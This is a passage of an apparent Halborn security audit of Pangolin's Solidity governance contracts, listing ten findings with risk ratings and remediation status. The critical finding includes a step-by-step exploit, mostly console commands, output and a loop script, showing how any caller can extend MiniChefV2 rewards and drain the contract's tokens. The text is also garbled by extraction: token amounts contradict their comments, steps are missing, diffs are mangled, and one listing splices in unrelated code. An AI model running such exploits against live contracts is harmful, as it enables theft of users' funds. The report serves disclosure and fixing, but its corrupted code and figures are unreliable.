# EXECUTIVE OVERVIEW

## 1.1 INTRODUCTION

Pangolin engaged Halborn to conduct a security audit on their Governance smart contracts beginning on October 4th, 2021 and ending on October 18th, 2021. The security assessment was scoped to the smart contracts provided in the Github repository [pangolindex/governance](#)

## 1.2 AUDIT SUMMARY

The team at Halborn was provided two weeks for the engagement and assigned a full time security engineer to audit the security of the smart contract. The security engineer is a blockchain and smart-contract security expert with advanced penetration testing, smart-contract hacking, and deep knowledge of multiple blockchain protocols.

The purpose of this audit is to:

- Ensure that smart contract functions operate as intended
- Identify potential security issues with the smart contracts

In summary, Halborn identified some security risks that were addressed and accepted by the [Pangolin team](#).

## 1.3 TEST APPROACH & METHODOLOGY

Halborn performed a combination of manual and automated security testing to balance efficiency, timeliness, practicality, and accuracy in regard to the scope of this audit. While manual testing is recommended to uncover flaws in logic, process, and implementation; automated testing techniques help enhance coverage of the bridge code and can quickly identify items that do not follow security best practices. The following phases and associated tools were used throughout the term of the audit:

- Research into architecture and purpose
- Smart contract manual code review and walkthrough
- Graphing out functionality and contract logic/connectivity/functions ([solgraph](#))
- Manual assessment of use and safety for the critical Solidity variables and functions in scope to identify any arithmetic related vulnerability classes
- Manual testing by custom scripts
- Scanning of solidity files for vulnerabilities, security hotspots or bugs. ([MythX](#))
- Static Analysis of security for scoped contract, and imported functions. ([Slither](#))
- Testnet deployment ([Brownie](#), [Remix IDE](#))

#### RISK METHODOLOGY:

Vulnerabilities or issues observed by Halborn are ranked based on the risk assessment methodology by measuring the **LIKELIHOOD** of a security incident, and the **IMPACT** should an incident occur. This framework works for communicating the characteristics and impacts of technology vulnerabilities. It's quantitative model ensures repeatable and accurate measurement while enabling users to see the underlying vulnerability characteristics that was used to generate the Risk scores. For every vulnerability, a risk level will be calculated on a scale of **5 to 1** with **5** being the highest likelihood or impact.

#### RISK SCALE - LIKELIHOOD

- 5 - Almost certain an incident will occur.
- 4 - High probability of an incident occurring.
- 3 - Potential of a security incident in the long term.
- 2 - Low probability of an incident occurring.
- 1 - Very unlikely issue will cause an incident.

#### RISK SCALE - IMPACT

- 5 - May cause devastating and unrecoverable impact or loss.
- 4 - May cause a significant level of impact or loss.

- 3 - May cause a partial impact or loss to many.
- 2 - May cause temporary impact or loss.
- 1 - May cause minimal or un-noticeable impact.

The risk level is then calculated using a sum of these two values, creating a value of **10** to **1** with **10** being the highest level of security risk.

CRITICAL	HIGH	MEDIUM	LOW	INFORMATIONAL
----------	------	--------	-----	---------------

- 10** - CRITICAL
- 9** - **8** - HIGH
- 7** - **6** - MEDIUM
- 5** - **4** - LOW
- 3** - **1** - VERY LOW AND INFORMATIONAL

## 1.4 SCOPE

### IN-SCOPE:

The security assessment was scoped to the following governance smart contracts:

- Airdrop.sol
- CommunityTreasury.sol
- GovernorAlpha.sol
- LiquidityPoolManager.sol
- LiquidityPoolManagerV2.sol
- MiniChefV2.sol
- PNG.sol
- PangolinVoteCalculator.sol
- RewarderComplex.sol
- RewarderSimple.sol
- StakingRewards.sol
- Timelock.sol
- TreasuryVester.sol
- TreasuryVesterProxy.sol
- All contracts inherited by these contracts

**Commit ID:** 484b16dbf83480906ec9f20f7b4887ed81590330

# FINDINGS & TECH DETAILS

## 3.1 (HAL-01) REWARD PERIOD CAN BE EXTENDED INDEFINITELY - CRITICAL

### Description:

In the contract `MiniChefV2` the functions `fundRewards`, `extendRewardsViaFunding` and `extendRewardsViaFunding` perform internally the following function call:

```
SUSHI.safeTransfer(address(this), AmountOfTokensToTransfer);
```

This call does not make much sense as it is transferring tokens from the smart contract balance to itself `address(this)` which allows the following exploitable scenario:

#### 1. Contract MiniChefV2 is deployed.

```
>>> sushi = owner.deploy(SUSHI)
Transaction sent: 0x7ad7af55e5120d0c0e4ab038f87b15c7cc56a126d93bf68c5ab0a05bf6135c1
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 0
SUSHI.constructor confirmed Block: 13429294 Gas used: 905517 (13.47%)
SUSHI deployed at: 0x7CB425A0E60aaFaa33CE684B9d4577A13D3a293
```

#### 2. Pool is added by the owner of the contract.

```
>>> sushi.mint(owner.address, 20000000000000000000000000000000) # 20e18
Transaction sent: 0xf1944906478416793d31453d7e0c7b1c346b02495c315553a2f9125ab23da3

MinicheckV2.addPool confirmed Block: 13429307 Gas used: 19561 (2.91%)
```

#### 3. Owner of the contract transfer 20e18 SUSHI tokens to the MiniChefV2 contract.

```
>>> sushi.approve(minichef.address, 20000000000000000000000000000000, {'from': owner.address}) # 20e18
Transaction sent: 0xcd79145b5fd2b87664961481ff7c83efc911a8eb0786df683dabes3fe

>>> sushi.transferFrom(minichef.address, 20000000000000000000000000000000, {'from': owner.address}) # 20e18 - CONTRACT HAS 20e18 SUSHI REWARD TOKENS
Transaction sent: 0xadec5903ff177b3215b8c8d6483b0647349bcb4274f7a2079d24f21d0a5134
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 15
SUSHI.transfer confirmed Block: 13429309 Gas used: 51075 (0.76%)
<Transaction 0xadec5903ff177b3215b8c8d6483b0647349bcb4274f7a2079d24f21d0a5134>
>>> sushi.balanceOf(minichef.address)
```

#### 4. Owner of the contract calls `minichef.fundRewards(1000000000000000000000, 86400, {'from': owner.address})`. This means that just 1e18 SUSHI tokens were set as a reward for a total period of 86400 seconds (1 day). Once this reward period is finished and the tokens were harvested by the users, 19e18 SUSHI tokens should still remain in

the contract.

```
>>> output.greenn("Before fundRewards call: sushi.balanceOf(minichef.address) -> " + str(sushi.balanceOf(minichef.address)))
Before fundRewards call: sushi.balanceOf(minichef.address) -> 20000000000000000000000000000000
>>> tx = minichef.fundRewards(1000000000000000000, 86400, {'from': owner.address}) # 1el18 / 1 day = 86400 seconds
Transaction sent: 0xb4d46daef8909c2fe8863eda792050f701d1fe4544c971167f745cc9592dc3f
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 16
MinichefV2.fundRewards confirmed Block: 13429310 Gas used: 9201 (1.37%)

>>> output.greenn("After fundRewards call: sushi.balanceOf(minichef.address) -> " + str(sushi.balanceOf(minichef.address)))
After fundRewards call: sushi.balanceOf(minichef.address) -> 20000000000000000000000000000000
>>> tx.subcalls

lptoken1.balanceOf(user1.address) -> 0
sushi.balanceOf(user1.address) -> 500092592592589392
sushi.balanceOf(minichef.address) -> 19499907407407410608
```

These tokens are sent through the `harvest` function:

**Listing 1: MiniChefV2.sol - function harvest (Lines 331)**

```
320 function harvest(uint256 pid, address to) public {
321     PoolInfo memory pool = updatePool(pid);
322     UserInfo storage user = userInfo[pid][msg.sender];
323     int256 accumulatedSushi = int256(user.amount.mul(pool.
324         accSushiPerShare) / ACC_SUSHI_PRECISION);
325     uint256 _pendingSushi = accumulatedSushi.sub(user.rewardDebt).
326         toUInt256();
327     // Effects
328     user.rewardDebt = accumulatedSushi;
329     // Interactions
```

```

330     if (_pendingSushi != 0) {
331         SUSHI.safeTransfer(to, _pendingSushi);
332     }
333
334     IRewarer _rewarder = rewarder[pid];
335     if (address(_rewarder) != address(0)) {
336         _rewarder.onSushiReward(pid, msg.sender, to,
337             _pendingSushi, user.amount);
338     }
339     emit Harvest(msg.sender, pid, _pendingSushi);
340 }
```

And... the exploit itself:

7. User1 calls `minichef.extendRewardsViaFunding(19499907407407410608, 0, {'from': user1.address})`. Note that the amount specified is the total balance of SUSHI reward tokens of the MiniChefV2 contract:

```

sushi.balanceOf(minichef.address) -> 19499907407407410608
>>> minichef.extendRewardsViaFunding(19499907407407410608, 0, {'from': user1.address})

<Transaction '0xb8203055a5467cfa87bf949060b07151202d994f16f22ff653457e0e8741'>
```

This is possible as `extendRewardsViaFunding` is an external function and has no `onlyOwner` modifier. It can be called by anyone:

**Listing 2: MiniChefV2.sol - function extendRewardsViaFunding (Lines 459)**

```

451 function extendRewardsViaFunding(uint256 funding, uint256
        minExtension) external {
452     require(funding > 0, "MiniChefV2: funding amount cannot be
        zero");
453
454     uint256 extensionDuration = funding / sushiPerSecond;
455     require(extensionDuration >= minExtension, "MiniChefV2:
        insufficient extension limit");
456
457     rewardsExpiration = rewardsExpiration.add(extensionDuration);
458
459     SUSHI.safeTransfer(address(this), funding);
460
461     emit LogRewardsExpiration(rewardsExpiration);
462 }
```

8. Right after this call the reward period was extended. As the reward rate is kept, the attacker now can call the `harvest` function every fixed periods of time until retrieving the 20e18 total reward tokens:

**Listing 3**

```

1 i = 1
2 while i<=40:
3     print("Iteration -> " + str(i))
4     output.yelloww("Sleeping 43200 seconds...")
5     chain.sleep(43200)
6     chain.mine(1)
7     output.yelloww("Call -> minichef.harvest(0, user1.address, {'from': user1.address})")
8     minichef.harvest(0, user1.address, {'from': user1.address})
9     output.redd("lptoken1.balanceOf(user1.address) -> " + str(
10        lptoken1.balanceOf(user1.address)))
11    output.redd("sushi.balanceOf(user1.address) -> " + str(sushi.
12        balanceOf(user1.address)))
13    output.greenn("sushi.balanceOf(minichef.address) -> " + str(
14        sushi.balanceOf(minichef.address)))
15    i=i+1

```

```

Even if the owner of the contract only funded 1e18 reward tokens the attacker managed to steal the total amount: 20e18.

Risk Level:

**Likelihood - 5**

**Impact - 5**

Recommendation:

Halborn recommends adding the `onlyOwner` modifier to the functions `extendRewardsViaFunding` and `extendRewardsViaDuration`. Also, it is recommended to review and update accordingly the functions where `SUSHI.safeTransfer` is used.

Remediation Plan:

**SOLVED:** Pangolin team fixed all the functions by using `safeTransferFrom(msg.sender, address(this), funding);`.

The issue previously was that `safeTransfer(address(this), funding);` was being used. This call was basically transferring the tokens from the smart contract balance to the smart contract balance which makes no sense.

By using `safeTransferFrom(msg.sender, address(this), funding);` the tokens are now being transferred from the person that calls the function `fundRewards`, `extendRewardsViaFunding` and `extendRewardsViaDuration` to the smart contract as it was intended in the first place. We can see below the code changes performed by Pangolin team which totally corrected this issue. At the left, the old code and at the right, the fixed code:

`fundRewards`:

<pre> 483  /// @notice Add funding and potentially extend duration of the rolling reward period 484  /// @param funding Amount of reward token to add 485  /// @param duration Total time (seconds) during which the additional funds are distributed 486  function fundRewards(uint256 funding, uint256 duration) external onlyFunder { 487      require(funding &gt; 0, "MinChefV2: funding cannot be zero"); 488 489      SUSHI.safeTransfer(address(this), funding); 490 491      if (block.timestamp &gt; rewardsExpiration) { 492          require(duration &gt; 0, "MinChefV2: reward duration cannot be zero"); 493          massUpdateAllPools(); 494          rewardsExpiration = block.timestamp.add(duration); 495          sushiPerSecond = funding / duration; 496      } else { 497          uint256 remainingTime = rewardsExpiration.sub(block.timestamp); 498          uint256 remainingRewards = remainingTime.mul(sushiPerSecond); 499          uint256 newRewardsExpiration = rewardsExpiration.add(duration); 500          uint256 newSushiPerSecond = remainingRewards.add(funding) / (newRewardsExpiration.sub( 501              if (newSushiPerSecond != sushiPerSecond) { 502                  massUpdateAllPools(); 503              } 504              rewardsExpiration = newRewardsExpiration; 505              sushiPerSecond = newSushiPerSecond; 506          }) 507 508          emit LogSushiPerSecond(sushiPerSecond); 509          emit LogRewardsExpiration(rewardsExpiration); 510      } 511 512      emit LogRewardPerSecond(rewardPerSecond); 513      emit LogRewardsExpiration(rewardsExpiration); 514  } </pre>	<pre> 412  /// @notice Add funding and potentially extend duration of the rolling reward period 413  /// @param funding Amount of reward token to add 414  /// @param duration Total time (seconds) during which the additional funds are distributed 415  function fundRewards(uint256 funding, uint256 duration) external onlyFunder { 416      require(funding &gt; 0, "MinChefV2: funding cannot be zero"); 417 418+     REWARD.safeTransferFrom(msg.sender, address(this), funding); 419 420      if (block.timestamp &gt; rewardsExpiration) { 421          require(duration &gt; 0, "MinChefV2: reward duration cannot be zero"); 422          massUpdateAllPools(); 423          rewardsExpiration = block.timestamp.add(duration); 424          rewardPerSecond = funding / duration; 425      } else { 426          uint256 remainingTime = rewardsExpiration.sub(block.timestamp); 427+         uint256 remainingRewards = remainingTime.mul(rewardPerSecond); 428          uint256 newRewardsExpiration = rewardsExpiration.add(duration); 429+         uint256 newRewardPerSecond = remainingRewards.add(funding) / (newRewardsExpiration.sub( 430+             if (newRewardPerSecond != rewardPerSecond) { 431                 massUpdateAllPools(); 432             } 433             rewardsExpiration = newRewardsExpiration; 434             rewardPerSecond = newRewardPerSecond; 435         )) 436 437+         emit LogRewardPerSecond(rewardPerSecond); 438         emit LogRewardsExpiration(rewardsExpiration); 439     } </pre>
--	--

## extendRewardsViaFunding and extendRewardsViaFunding:

```

## 3.2 (HAL-02) INCORRECT LOGIC IN MINICHEFV2 LEADS TO DOS - HIGH

### Description:

In the contract `MiniChefV2` the function `deposit` allows any user to deposit LP tokens into a pool. On the other hand, the function `fundRewards` allows the owner of the contract and the funders to set up some rewards for those users that had deposited tokens into the contract. There is a logic flaw in the `updatePool` function that causes a partial Denial of Service under the following circumstances:

1. Contract MiniChefV2 is deployed.
2. Pool/pools are added by the owner of the contract.
3. A random user calls `deposit` function, for example depositing 1000 tokens into pool id 0.
4. Owner tries to call `fundRewards` function but it reverts (underflow).

### Proof of Concept:

```
>>> minichef = owner.deploy(MiniChefV22, sushi.address, owner.address)

MinichefV22.fundRewards confirmed (RevertReason: Underflow) Block: 13415732 Gas used: #4973 (0.67%)
```

Internally, the function `fundRewards` performs a `SUSHI.safeTransfer` and then calls `massUpdateAllPools` function, which, at the same time, calls `updatePool` function.

After the user1's initial deposit of 1000 tokens, `lpSupply` variable is higher than 0, entering the if. Since the contract was just deployed and `fundRewards` was never called, the state variable `rewardsExpiration` still equals to 0, which means that `block.timestamp` will always be `>= rewardsExpiration`.

This causes the line `rewardsExpiration.sub(pool.lastRewardTime);` to be executed. As no `uint` can be lower than 0, this operation reverts with an underflow.

Code Location:

```
Listing 4: MiniChefV2.sol - function updatePool (Lines 261)
254 function updatePool(uint256 pid) public returns (PoolInfo memory
255     pool) {
256     pool = poolInfo[pid];
257     if (block.timestamp > pool.lastRewardTime) {
258         uint256 lpSupply = lpToken[pid].balanceOf(address(this));
259         if (lpSupply > 0) {
260             uint256 time = block.timestamp <= rewardsExpiration
261                 ? block.timestamp.sub(pool.lastRewardTime)
262                 : rewardsExpiration.sub(pool.lastRewardTime);
263             uint256 sushiReward = time.mul(sushiPerSecond).mul(
264                 pool.allocPoint) / totalAllocPoint;
265             pool.accSushiPerShare = pool.accSushiPerShare.add((
266                 sushiReward.mul(ACC_SUSHI_PRECISION) / lpSupply).
267                 to128());
268         }
269     }
270 }
```

Risk Level:

Likelihood - 4

Impact - 4

Recommendation:

It is recommended to modify the `updatePool` function to take into account this edge case.

Remediation Plan:

**SOLVED:** Pangolin team solved this issue. This edge case was handled with the following code. At the left, the old code and at the right, the fixed code:

```

251 // @notice Update reward variables of the given pool.
252 // @param pid The index of the pool. See `PoolInfo`.
253 // @return pool Returns the pool that was updated.
254 function updatePool(uint256 pid) public returns (PoolInfo memory pool) {
255     pool = poolInfo[pid];
256     if (block.timestamp > pool.lastRewardTime) {
257         uint256 lpSupply = lpToken[pid].balanceOf(address(this));
258         if (lpSupply > 0) {
259             uint256 time = block.timestamp < rewardsExpiration
260             ? block.timestamp.sub(pool.lastRewardTime)
261             : rewardsExpiration.sub(pool.lastRewardTime);
262             uint256 sushiReward = time.mul(sushiPerSecond).mul(pool.allocPoint) / totalAllocPoint;
263             pool.accSushiPerShare = pool.accSushiPerShare.add(sushiReward.mul(ACC_SUSHI_PRECISION));
264         }
265         pool.lastRewardTime = block.timestamp.to64();
266         poolInfo[pid] = pool;
267         emit PoolUpdate(pid, pool.lastRewardTime, lpSupply, pool.accSushiPerShare);
268     }
269 }
```

```

259 // @notice Update reward variables of the given pool.
260 // @param pid The index of the pool. See `PoolInfo`.
261 // @return pool Returns the pool that was updated.
262 function updatePool(uint256 pid) public returns (PoolInfo memory pool) {
263     pool = poolInfo[pid];
264     if (block.timestamp > pool.lastRewardTime) {
265         uint256 lpSupply = lpToken[pid].balanceOf(address(this));
266         if (lpSupply > 0) {
267             uint256 time = block.timestamp < rewardsExpiration
268             ? block.timestamp.sub(pool.lastRewardTime) // Accrue rewards until now
269             : rewardsExpiration.sub(pool.lastRewardTime) // Accrue rewards until expiration
270             ;;
271             uint256 reward = time.mul(rewardPerSecond).mul(pool.allocPoint) / totalAllocPoint;
272             pool.accRewardPerShare = pool.accRewardPerShare.add(reward.mul(ACC_REWARD_PRECISION));
273         }
274         pool.lastRewardTime = block.timestamp.to64();
275         poolInfo[pid] = pool;
276         emit PoolUpdate(pid, pool.lastRewardTime, lpSupply, pool.accRewardPerShare);
277     }
278 }
```

We can see, how in the fixed code, the edge case is taken into account. When `block.timestamp > rewardsExpiration` and `rewardsExpiration <= pool.lastRewardTime` time will be set to zero avoiding the previous underflow. Below we can see the execution of this edge case and how now is correctly handled:

```

### 3.3 (HAL-03) LACK OF INTEGER OVERFLOW/UNDERFLOW PROTECTION - MEDIUM

#### Description:

In computer programming, an integer overflow occurs when an arithmetic operation attempts to create a numeric value that is outside of the range that can be represented with a given number of bits, either larger than the maximum or lower than the minimum value. Some of the operations in the contracts are using `SafeMath` correctly, other operations are not using `SafeMath` but make use of some of the `SafeMath` functions and others do not use any kind of `SafeMath` making the operations vulnerable to overflows and underflows.

#### Code Location:

LiquidityPoolManager - Overflow

```
Listing 5: LiquidityPoolManager.sol (Lines 268,278)

245 function calculateReturns() public {
246     require(!readyToDistribute, 'LiquidityPoolManager::
247         calculateReturns: Previous returns not distributed. Call
248         distributeTokens()');
249     require(unallocatedPng > 0, 'LiquidityPoolManager::
250         calculateReturns: No PNG to allocate. Call vestAllocation()
251         .');
252     if (pngPairs.length() > 0) {
253         require!(avaxPngPair == address(0), '
254             LiquidityPoolManager::calculateReturns: Avax/PNG Pair
255             not set');

256     }
257
258     // Calculate total liquidity
259     distribution = new uint[](numPools);
260     uint totalLiquidity = 0;
```

```

256     // Add liquidity from AVAX pairs
257     for (uint i = 0; i < avaxPairs.length(); i++) {
258         uint pairLiquidity = getAvaxLiquidity(avaxPairs.at(i));
259         distribution[i] = pairLiquidity;
260         totalLiquidity = SafeMath.add(totalLiquidity,
261             pairLiquidity);
262     }
263     // Add liquidity from PNG pairs
264     if (pngPairs.length() > 0) {
265         uint conversionRatio = getAvaxPngRatio();
266         for (uint i = 0; i < pngPairs.length(); i++) {
267             uint pairLiquidity = getPngLiquidity(pngPairs.at(i),
268                 conversionRatio);
269             distribution[i + avaxPairs.length()] = pairLiquidity;
270             totalLiquidity = SafeMath.add(totalLiquidity,
271                 pairLiquidity);
272         }
273     // Calculate tokens for each pool
274     uint transferred = 0;
275     for (uint i = 0; i < distribution.length; i++) {
276         uint pairTokens = distribution[i].mul(unallocatedPng).div(
277             totalLiquidity);
278         distribution[i] = pairTokens;
279         transferred = transferred + pairTokens;
280     }
281     readyToDistribute = true;
282 }
```

### LiquidityPoolManager - Underflow 1

**Listing 6: LiquidityPoolManager.sol (Lines 296)**

```

287 function distributeTokens() public nonReentrant {
288     require(readyToDistribute, 'LiquidityPoolManager::
289         distributeTokens: Previous returns not allocated. Call
290         calculateReturns()');
291     readyToDistribute = false;
292     address stakeContract;
293     uint rewardTokens;
294     for (uint i = 0; i < distribution.length; i++) {
```

```

293         if (i < avaxPairs.length()) {
294             stakeContract = stakes[avaxPairs.at(i)];
295         } else {
296             stakeContract = stakes[pngPairs.at(i - avaxPairs.
297                                         length())];
297         }
298         rewardTokens = distribution[i];
299         if (rewardTokens > 0) {
300             require(IPNG(png).transfer(stakeContract, rewardTokens
301                               ), 'LiquidityPoolManager::distributeTokens:
302                               Transfer failed');
303             StakingRewards(stakeContract).notifyRewardAmount(
304                           rewardTokens);
305         }
306     }
307     unallocatedPng = 0;
308 }
```

## LiquidityPoolManager - Underflow 2

**Listing 7: LiquidityPoolManager.sol (Lines 322)**

```

314 function distributeTokensSinglePool(uint pairIndex) external
315     nonReentrant {
316     require(readyToDistribute, 'LiquidityPoolManager::
317             distributeTokensSinglePool: Previous returns not allocated.
318             Call calculateReturns()');
319     require(pairIndex < numPools, 'LiquidityPoolManager::
320             distributeTokensSinglePool: Index out of bounds');
321
322     address stakeContract;
323     if (pairIndex < avaxPairs.length()) {
324         stakeContract = stakes[avaxPairs.at(pairIndex)];
325     } else {
326         stakeContract = stakes[pngPairs.at(pairIndex - avaxPairs.
327                                     length())];
328     }
329
330     uint rewardTokens = distribution[pairIndex];
331     if (rewardTokens > 0) {
332         distribution[pairIndex] = 0;
333         require(IPNG(png).transfer(stakeContract, rewardTokens), 'LiquidityPoolManager::distributeTokens: Transfer failed
334            ');
```

```
        ');
329     StakingRewards(stakeContract).notifyRewardAmount(
330         rewardTokens);
331 }
```

- Same overflows/underflows are also present in `LiquidityPoolManagerV2.sol`.
- Some mathematical operations in `MiniChefV2.sol`, `PNG.sol` and `TreasuryVester.sol` are not making use of `SafeMath` making them vulnerable as well (see MythX output).

Risk Level:

**Likelihood - 3**

**Impact - 3**

Recommendation:

Currently not all the smart contracts and the operations within them are using the `SafeMath` library which makes some operations vulnerable to overflows/underflows. In those contracts with Solidity versions `<0.8.0` it is recommended to use the `SafeMath` library for arithmetic operations consistently throughout **ALL** the mathematical operations in the smart contract system.

Reference:

[Ethereum Smart Contract Best Practices - Integer Overflow and Underflow](#)

Remediation Plan:

**SOLVED:** Pangolin team successfully protected the overflow/underflow vulnerable functions.

## 3.4 (HAL-04) FUNCTION MIGRATE MISSING ONLYOWNER MODIFIER - MEDIUM

Description:

In the contract `MiniChefV2.sol` the function `migrate()` allows migrating LP tokens to another LP contract through the `migrator` contract.

**Listing 8: MiniChefV2.sol - migrate functions (Lines 189,203,204,205)**

```

188 function setMigrator(IMigratorChef _migrator) public onlyOwner {
189     require(!_migrationDisabled, "MinichefV2: migration has been
190         disabled");
190     migrator = _migrator;
191     emit MigratorSet(address(_migrator));
192 }
193
194 /// @notice Permanently disable the `migrator` functionality.
195 /// This can only effectively be called once.
196 function disableMigrator() public onlyOwner {
197     migrationDisabled = true;
198     emit MigratorDisabled();
199 }
200
201 /// @notice Migrate LP token to another LP contract through the `
202         migrator` contract.
203 /// @param _pid The index of the pool. See `poolInfo`.
204 function migrate(uint256 _pid) public {
205     require(!_migrationDisabled, "MinichefV2: migration has been
206         disabled");
205     require(address(migrator) != address(0), "MinichefV2: no migrator
207         set");
206     IERC20 _lpToken = lpToken[_pid];
207     uint256 bal = _lpToken.balanceOf(address(this));
208     _lpToken.approve(address(migrator), bal);
209     IERC20 newLpToken = migrator.migrate(_lpToken);
210     require(bal == newLpToken.balanceOf(address(this)), "MinichefV2:
211         migrated balance must match");
211     lpToken[_pid] = newLpToken;
212     emit Migrate(_pid);

```

213 }

As we can see, `migrate` function can be called by anyone as long as `migrationDisabled` equals `False` and `migrator` address is set. Initially, after the contract deployment, `migrationDisabled` is already initialized with the value `False` and the `migrator` address would equal to `address(0)`.

```
49  IMigratorChef public migrator;
50  bool public migrationDisabled;
```

This means that as soon as the function `setMigrator` is called by the owner of the contract setting the `migrator` address, anyone would be able to call the `migrate` function.

```
>>> minichef.migrationDisabled()
False
>>> minichef.migrator()
'0x0000000000000000000000000000000000000000'

MinichefV22.migrate confirmed Block: 13411941 Gas used: 47934 (0.71%)
```

Risk Level:

Likelihood - 2

Impact - 4

Recommendation:

It is recommended to add the `onlyOwner` modifier also to the `migrate` function.

Remediation Plan:

**SOLVED:** Pangolin team added the `onlyOwner` modifier to the `migrate` function.

## 3.5 (HAL-05) IMPRECISION IN REWARD DISTRIBUTION - LOW

## Description:

The contract `StakingRewards.sol` allows the users that previously had deposited some tokens to withdraw them and claim some PNG tokens as a reward. The function `getRewardForDuration()` shows how many PNG tokens will be given as a reward. Due to some imprecision in the calculation of the rewards, the users will receive less PNG tokens than the actual amount deserved. For example:

Risk Level:

Likelihood - 3

Impact - 2

#### **Recommendation:**

It is recommended to define some precision values as constants at the beginning of the contracts and use them in the mathematical operations in order to avoid/reduce the loss of precision.

## Remediation Plan:

**RISK ACCEPTED:** Pangolin team accepts this risk.

## 3.6 (HAL-06) MISSING ZERO ADDRESS CHECK - LOW

### Description:

Some constructors and functions are missing address validation. Every address should be validated and checked that is different than zero.

### Code location:

TreasuryVesterProxy.sol

- constructor(address \_png, address \_treasuryVester, address \_treasury, address \_chef)

Risk Level:

**Likelihood - 3**

**Impact - 2**

Recommendation:

It is recommended to validate that every address input is different than zero.

Remediation Plan:

**RISK ACCEPTED:** Pangolin team accepts this risk.

## 3.7 (HAL-07) FLOATING PRAGMA - LOW

### Description:

Contracts should be deployed with the same compiler version and flags used during development and testing. Locking the pragma helps to ensure that contracts do not accidentally get deployed using another pragma. For example, an outdated pragma version might introduce bugs that affect the contract system negatively or recently released pragma versions may have unknown security vulnerabilities.

### Code Location:

#### Listing 9

```
1 TreasuryVesterProxy.sol:1:pragma solidity 0.8.0;
2 StakingRewards.sol:1:pragma solidity ^0.7.6;
3 RewarderComplex.sol:3:pragma solidity 0.6.12;
4 Timelock.sol:1:pragma solidity ^0.5.16;
5 CommunityTreasury.sol:1:pragma solidity ^0.7.6;
6 GovernorAlpha.sol:1:pragma solidity ^0.5.16;
7 LiquidityPoolManagerV2.sol:1:pragma solidity ^0.7.6;
8 RewarderSimple.sol:3:pragma solidity 0.6.12;
9 PNG.sol:1:pragma solidity ^0.5.16;
10 LiquidityPoolManager.sol:1:pragma solidity ^0.7.6;
11 MiniChefV2.sol:3:pragma solidity 0.6.12;
12 PangolinVoteCalculator.sol:1:pragma solidity 0.8.0;
13 Airdrop.sol:2:pragma solidity ^0.8.0;
14 TreasuryVester.sol:1:pragma solidity ^0.7.6;
```

### Risk Level:

**Likelihood - 1**

**Impact - 3**

## Recommendation:

Consider locking the pragma version. It is not recommended to use a floating pragma in production. It is possible to lock the pragma by fixing the version both in truffle-config.js for Truffle framework or in hardhat.config.js for HardHat framework.

## Remediation Plan:

**SOLVED:** The version was locked in the hardhat.config.js file.

## 3.8 (HAL-08) DEPRECATED PRAGMA VERSION OF SOLC - LOW

### Description:

The pragma versions of Solc used by the smart contracts are:

- ^0.5.16
- 0.6.12
- ^0.7.6
- ^0.8.0

While the old versions are still functional, and most security issues are mitigated by using other utility contracts such as `SafeMath.sol`, the risk to the long-term sustainability and integrity of the solidity code increases.

### Risk Level:

**Likelihood** - 1

**Impact** - 3

### Recommendation:

At the time of this audit, the current version is already at 0.8. When possible, use the updated pragma versions to take advantage of new features, for example, after the `Solidity version 0.8.0` Arithmetic operations revert on underflow and overflow by default. By using this version, utility contracts like `SafeMath.sol` would not be needed.

### Remediation Plan:

**RISK ACCEPTED:** Pangolin team accepts this risk.

## 3.9 (HAL-09) EXPERIMENTAL FEATURES ENABLED - LOW

### Description:

The use of experimental features could be dangerous on live deployments. The experimental ABI encoder does not handle non-integer values shorter than 32 bytes properly. This applies to bytesNN types, bool, enum and other types when they are part of an array or a struct and encoded directly from storage. This means these storage references have to be used directly inside `abi.encode(. . . )` as arguments in external function calls or in event data without prior assignment to a local variable. Using `return` does not trigger the bug. The types bytesNN and bool will result in corrupted data while enum might lead to an invalid revert.

Furthermore, arrays with elements shorter than 32 bytes may not be handled correctly even if the base type is an integer type. Encoding such arrays in the way described above can lead to other data in the encoding being overwritten if the number of elements encoded is not a multiple of the number of elements that fit a single slot. If nothing follows the array in the encoding (note that dynamically-sized arrays are always encoded after statically-sized arrays with statically-sized content), or if only a single array is encoded, no other data is overwritten. There are known bugs that are publicly released while using this feature. However, the bug only manifests itself when all the following conditions are met:

1. Storage data involving arrays or structs is sent directly to an external function call, to `abi.encode` or to event data without prior assignment to a local (memory) variable.
2. There is an array that contains elements with size less than 32 bytes or a struct that has elements that share a storage slot or members of type bytesNN shorter than 32 bytes.

In addition to that, in the following situations, your code is NOT affected:

1. If all the structs or arrays only use uint256 or int256 types.
2. If you only use integer types (that may be shorter) and only encode at most one array at a time.
3. If you only return such data and do not use it in abi.encode, external calls or event data.

ABIEncoderV2 is enabled to be able to pass struct type into a function both web3 and another contract. Naturally, any bug can have wildly varying consequences depending on the program control flow, but we expect that this is more likely to lead to malfunction than exploitability. The bug, when triggered, will under certain circumstances send corrupt parameters on method invocations to other contracts.

<https://blog.ethereum.org/2019/03/26/solidity-optimizer-and-abientcoderv2-bug/>

Code Location:

#### Listing 10

```
1 RewarderComplex.sol:4:pragma experimental ABIEncoderV2;
2 GovernorAlpha.sol:2:pragma experimental ABIEncoderV2;
3 PNG.sol:2:pragma experimental ABIEncoderV2;
4 MiniChefV2.sol:4:pragma experimental ABIEncoderV2;
```

Risk Level:

**Likelihood - 1**

**Impact - 3**

Recommendation:

When possible, do not use experimental features in the final live deployment. Validate and check that all the conditions above are true for integers and arrays (i.e. all using uint256).

## FINDINGS & TECH DETAILS

Remediation Plan:

**RISK ACCEPTED:** Pangolin team accepts this risk.

## 3.10 (HAL-10) EXTERNAL CALLS WITHIN A LOOP - LOW

Description:

Calls inside a loop might lead to a Denial of Service attack. If the `i` variable iterates up to a very high value or is reset by the external functions called, this could cause a Denial of Service.

Code Location:

MiniChefV2.sol

```
Listing 11: MiniChefV2.sol (Lines 238,239,246,247)

236 function massUpdatePools(uint256[] calldata pids) external {
237     uint256 len = pids.length;
238     for (uint256 i = 0; i < len; ++i) {

41         IStakingRewards staking = IStakingRewards(liquidityManager
            .stakes(farms[i]));
42
43         // Handle pairs that are no longer whitelisted
44         if (address(staking) == address(0)) continue;
45
46         uint pair_total_PNG = png.balanceOf(farms[i]);
47         uint pair_total_PGL = pair.totalSupply(); // Could
            initially be 0 in rare situations
48
49         uint PGL_hodling = pair.balanceOf(voter);
50         uint PGL_staking = staking.balanceOf(voter);
51
52         uint pending_PNG = staking.earned(voter);
53
54         votes += ((PGL_hodling + PGL_staking) * pair_total_PNG) /
            pair_total_PGL + pending_PNG;
55     }
56 }
57
58 function getVotesFromStaking(address voter, address[] calldata
    stakes) external view returns (uint votes) {
